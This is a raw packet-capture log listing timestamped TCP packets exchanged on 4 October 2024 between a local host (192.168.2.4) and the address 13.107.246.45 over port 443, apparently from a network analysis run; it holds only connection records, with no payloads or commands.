Oct 4, 2024 09:53:08.742927074 CEST	443	57099	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:08.742954016 CEST	443	57099	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:08.745718002 CEST	57102	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:08.745809078 CEST	443	57102	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:08.745893002 CEST	57102	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:08.745992899 CEST	57102	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:08.746012926 CEST	443	57102	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:08.747848034 CEST	443	57097	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:08.747992039 CEST	443	57097	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:08.748169899 CEST	57097	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:08.748169899 CEST	57097	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:08.748169899 CEST	57097	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:08.748198032 CEST	443	57100	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:08.748255014 CEST	443	57100	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:08.748298883 CEST	57100	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:08.748366117 CEST	57100	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:08.748366117 CEST	57100	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:08.748406887 CEST	443	57100	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:08.748431921 CEST	443	57100	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:08.749993086 CEST	57103	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:08.750041008 CEST	443	57103	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:08.750112057 CEST	57103	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:08.750228882 CEST	57103	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:08.750253916 CEST	443	57103	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:08.750629902 CEST	57104	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:08.750716925 CEST	443	57104	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:08.750798941 CEST	57104	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:08.750938892 CEST	57104	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:08.750971079 CEST	443	57104	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:08.767728090 CEST	443	57098	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:08.767788887 CEST	443	57098	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:08.767910004 CEST	443	57098	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:08.767978907 CEST	57098	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:08.767978907 CEST	57098	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:08.768064976 CEST	57098	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:08.768064976 CEST	57098	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:08.768136024 CEST	443	57098	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:08.768170118 CEST	443	57098	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:08.770061970 CEST	57105	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:08.770145893 CEST	443	57105	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:08.770227909 CEST	57105	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:08.770386934 CEST	57105	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:08.770423889 CEST	443	57105	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:08.773855925 CEST	443	57101	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:08.773922920 CEST	443	57101	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:08.773992062 CEST	57101	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:08.774050951 CEST	443	57101	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:08.774338961 CEST	57101	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:08.774338961 CEST	57101	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:08.774405956 CEST	443	57101	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:08.774466038 CEST	443	57101	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:08.774630070 CEST	443	57101	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:08.775861979 CEST	57106	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:08.775944948 CEST	443	57106	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:08.776015043 CEST	57106	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:08.776139021 CEST	57106	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:08.776170015 CEST	443	57106	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:09.055655956 CEST	57097	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:09.055721045 CEST	443	57097	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:09.402151108 CEST	443	57102	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:09.402776957 CEST	57102	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:09.402841091 CEST	443	57102	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:09.403100014 CEST	57102	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:09.403116941 CEST	443	57102	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:09.418047905 CEST	443	57104	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:09.418579102 CEST	57104	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:09.418639898 CEST	443	57104	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:09.419009924 CEST	57104	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:09.419023037 CEST	443	57104	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:09.422439098 CEST	443	57103	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:09.422749043 CEST	57103	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:09.422810078 CEST	443	57103	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:09.423060894 CEST	57103	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:09.423074961 CEST	443	57103	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:09.436058998 CEST	443	57106	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:09.436400890 CEST	57106	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:09.436475992 CEST	443	57106	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:09.436738968 CEST	57106	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:09.436753035 CEST	443	57106	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:09.454716921 CEST	443	57105	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:09.455131054 CEST	57105	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:09.455189943 CEST	443	57105	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:09.455368996 CEST	57105	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:09.455405951 CEST	443	57105	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:09.503041983 CEST	443	57102	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:09.503097057 CEST	443	57102	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:09.503180981 CEST	57102	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:09.503242970 CEST	443	57102	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:09.503303051 CEST	57102	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:09.503355980 CEST	57102	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:09.503375053 CEST	443	57102	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:09.503449917 CEST	57102	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:09.503801107 CEST	443	57102	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:09.503885031 CEST	443	57102	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:09.503942966 CEST	57102	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:09.505816936 CEST	57107	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:09.505892038 CEST	443	57107	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:09.505985022 CEST	57107	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:09.506134033 CEST	57107	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:09.506166935 CEST	443	57107	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:09.524648905 CEST	443	57104	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:09.524705887 CEST	443	57104	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:09.524799109 CEST	57104	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:09.524957895 CEST	57104	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:09.524957895 CEST	57104	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:09.525003910 CEST	443	57104	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:09.525032043 CEST	443	57104	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:09.527225018 CEST	57108	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:09.527268887 CEST	443	57108	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:09.527343035 CEST	57108	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:09.527605057 CEST	57108	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:09.527622938 CEST	443	57108	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:09.745593071 CEST	443	57103	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:09.745649099 CEST	443	57103	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:09.745693922 CEST	443	57105	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:09.745778084 CEST	443	57105	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:09.745825052 CEST	443	57106	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:09.745893002 CEST	57103	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:09.745939016 CEST	57105	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:09.745954990 CEST	443	57103	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:09.745973110 CEST	443	57106	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:09.746047020 CEST	57106	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:09.746190071 CEST	57103	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:09.746217966 CEST	443	57103	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:09.746241093 CEST	57103	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:09.746392965 CEST	443	57103	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:09.747433901 CEST	57105	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:09.747483969 CEST	443	57105	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:09.747514009 CEST	57105	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:09.747531891 CEST	443	57105	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:09.747973919 CEST	57106	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:09.747975111 CEST	57106	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:09.747991085 CEST	443	57106	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:09.748011112 CEST	443	57106	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:09.750552893 CEST	57109	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:09.750648975 CEST	443	57109	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:09.750752926 CEST	57109	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:09.751498938 CEST	57110	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:09.751580954 CEST	443	57110	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:09.751652956 CEST	57110	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:09.752013922 CEST	57111	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:09.752053976 CEST	443	57111	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:09.752162933 CEST	57109	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:09.752168894 CEST	57111	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:09.752203941 CEST	443	57109	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:09.752242088 CEST	57110	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:09.752265930 CEST	443	57110	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:09.752310038 CEST	57111	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:09.752319098 CEST	443	57111	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:10.182563066 CEST	443	57107	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:10.183204889 CEST	57107	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:10.183264971 CEST	443	57107	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:10.183554888 CEST	57107	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:10.183568001 CEST	443	57107	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:10.285423994 CEST	443	57107	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:10.285559893 CEST	443	57107	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:10.285660028 CEST	57107	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:10.285913944 CEST	57107	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:10.285934925 CEST	443	57107	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:10.285947084 CEST	57107	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:10.285953045 CEST	443	57107	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:10.288707018 CEST	57112	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:10.288798094 CEST	443	57112	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:10.288924932 CEST	57112	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:10.289079905 CEST	57112	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:10.289117098 CEST	443	57112	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:10.384485960 CEST	443	57108	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:10.385073900 CEST	57108	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:10.385093927 CEST	443	57108	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:10.385554075 CEST	57108	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:10.385559082 CEST	443	57108	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:10.390229940 CEST	443	57109	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:10.390518904 CEST	57109	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:10.390563965 CEST	443	57109	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:10.390829086 CEST	57109	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:10.390840054 CEST	443	57109	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:10.407838106 CEST	443	57111	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:10.408269882 CEST	57111	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:10.408287048 CEST	443	57111	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:10.408628941 CEST	57111	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:10.408638000 CEST	443	57111	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:10.423096895 CEST	443	57110	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:10.423996925 CEST	57110	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:10.424056053 CEST	443	57110	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:10.424565077 CEST	57110	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:10.424617052 CEST	443	57110	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:10.484781981 CEST	443	57108	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:10.484956026 CEST	443	57108	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:10.485065937 CEST	57108	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:10.485094070 CEST	57108	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:10.485112906 CEST	443	57108	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:10.485126019 CEST	57108	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:10.485133886 CEST	443	57108	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:10.487759113 CEST	57113	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:10.487804890 CEST	443	57113	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:10.487871885 CEST	57113	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:10.488008022 CEST	57113	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:10.488030910 CEST	443	57113	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:10.489650011 CEST	443	57109	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:10.489733934 CEST	443	57109	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:10.489869118 CEST	57109	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:10.489978075 CEST	57109	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:10.489978075 CEST	57109	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:10.490030050 CEST	443	57109	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:10.490056038 CEST	443	57109	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:10.491842031 CEST	57114	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:10.491868019 CEST	443	57114	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:10.491935968 CEST	57114	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:10.492060900 CEST	57114	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:10.492073059 CEST	443	57114	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:10.517051935 CEST	443	57111	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:10.517210960 CEST	443	57111	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:10.517277956 CEST	57111	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:10.517319918 CEST	57111	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:10.517338037 CEST	443	57111	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:10.517385960 CEST	57111	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:10.517394066 CEST	443	57111	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:10.519476891 CEST	57115	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:10.519567013 CEST	443	57115	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:10.519656897 CEST	57115	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:10.519783020 CEST	57115	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:10.519808054 CEST	443	57115	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:10.528260946 CEST	443	57110	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:10.528415918 CEST	443	57110	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:10.528489113 CEST	57110	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:10.528568029 CEST	57110	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:10.528568029 CEST	57110	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:10.528609037 CEST	443	57110	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:10.528635025 CEST	443	57110	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:10.530213118 CEST	57116	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:10.530293941 CEST	443	57116	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:10.530375004 CEST	57116	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:10.530492067 CEST	57116	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:10.530514002 CEST	443	57116	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:11.044747114 CEST	443	57112	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:11.045193911 CEST	57112	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:11.045254946 CEST	443	57112	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:11.045629978 CEST	57112	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:11.045646906 CEST	443	57112	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:11.143928051 CEST	443	57112	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:11.144150972 CEST	443	57112	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:11.144247055 CEST	57112	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:11.144332886 CEST	57112	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:11.144332886 CEST	57112	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:11.144380093 CEST	443	57112	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:11.144409895 CEST	443	57112	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:11.147939920 CEST	57117	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:11.147988081 CEST	443	57117	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:11.148055077 CEST	57117	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:11.148176908 CEST	57117	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:11.148189068 CEST	443	57117	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:11.159177065 CEST	443	57115	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:11.159598112 CEST	57115	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:11.159657955 CEST	443	57115	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:11.160038948 CEST	57115	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:11.160053015 CEST	443	57115	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:11.163786888 CEST	443	57113	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:11.164169073 CEST	57113	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:11.164227009 CEST	443	57113	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:11.164524078 CEST	57113	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:11.164537907 CEST	443	57113	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:11.182732105 CEST	443	57114	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:11.183237076 CEST	57114	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:11.183253050 CEST	443	57114	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:11.183549881 CEST	57114	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:11.183559895 CEST	443	57114	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:11.230842113 CEST	443	57116	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:11.231300116 CEST	57116	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:11.231357098 CEST	443	57116	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:11.231620073 CEST	57116	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:11.231635094 CEST	443	57116	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:11.258727074 CEST	443	57115	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:11.258749008 CEST	443	57115	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:11.258780956 CEST	443	57115	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:11.258903980 CEST	57115	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:11.258904934 CEST	57115	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:11.259052992 CEST	57115	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:11.259099007 CEST	443	57115	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:11.259130001 CEST	57115	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:11.259146929 CEST	443	57115	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:11.261800051 CEST	57118	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:11.261889935 CEST	443	57118	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:11.261987925 CEST	57118	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:11.262123108 CEST	57118	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:11.262157917 CEST	443	57118	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:11.268770933 CEST	443	57113	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:11.269161940 CEST	443	57113	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:11.269215107 CEST	57113	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:11.269288063 CEST	57113	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:11.269288063 CEST	57113	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:11.269331932 CEST	443	57113	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:11.269356012 CEST	443	57113	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:11.271195889 CEST	57119	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:11.271282911 CEST	443	57119	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:11.271369934 CEST	57119	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:11.271502972 CEST	57119	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:11.271538973 CEST	443	57119	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:11.290251017 CEST	443	57114	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:11.290319920 CEST	443	57114	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:11.290374041 CEST	57114	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:11.290437937 CEST	57114	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:11.290438890 CEST	57114	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:11.290455103 CEST	443	57114	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:11.290476084 CEST	443	57114	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:11.292068005 CEST	57120	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:11.292148113 CEST	443	57120	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:11.292233944 CEST	57120	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:11.292323112 CEST	57120	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:11.292347908 CEST	443	57120	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:11.339627981 CEST	443	57116	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:11.339801073 CEST	443	57116	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:11.339878082 CEST	57116	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:11.340065002 CEST	57116	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:11.340111017 CEST	443	57116	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:11.340142012 CEST	57116	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:11.340157986 CEST	443	57116	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:11.342808008 CEST	57121	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:11.342844963 CEST	443	57121	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:11.342936993 CEST	57121	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:11.343077898 CEST	57121	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:11.343091965 CEST	443	57121	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:11.797409058 CEST	443	57117	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:11.797872066 CEST	57117	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:11.797934055 CEST	443	57117	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:11.798398972 CEST	57117	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:11.798418045 CEST	443	57117	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:11.905349016 CEST	443	57117	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:11.905422926 CEST	443	57117	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:11.905483007 CEST	57117	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:11.905512094 CEST	443	57117	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:11.905544996 CEST	443	57117	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:11.905590057 CEST	57117	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:11.905693054 CEST	57117	443	192.168.2.4	13.107.246.45
